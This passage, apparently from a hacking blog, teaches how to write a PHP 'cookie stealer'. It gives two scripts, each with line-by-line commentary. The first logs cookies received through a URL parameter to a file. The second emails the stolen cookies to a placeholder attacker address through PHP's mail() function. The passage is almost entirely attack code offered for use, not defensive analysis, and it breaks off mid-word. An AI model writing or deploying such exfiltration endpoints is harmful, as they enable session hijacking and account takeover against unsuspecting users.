Posts

Showing posts with the label cookie stealer Coding in PHP

cookie stealer Coding in PHP

Image
Here is the simple Cookie Stealer code: Cookie stored in File: <?php $cookie = $HTTP_GET_VARS["cookie"]; $steal = fopen("cookiefile.txt", "a"); fwrite($steal, $cookie ."\\n"); fclose($steal); ?> $cookie = $HTTP_GET_VARS["cookie"];  steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable. $steal = fopen("cookiefile.txt", "a");  This open the cookiefile in append mode so that we can append the stolen cookie. fwrite($steal, $cookie ."\\n");  This will store the stolen cookie inside the file. fclose($steal);  close the opened file. Another version: Sends cookies to the hacker mail   <?php $cookie = $HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies", $cookie); ?> The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".  Thir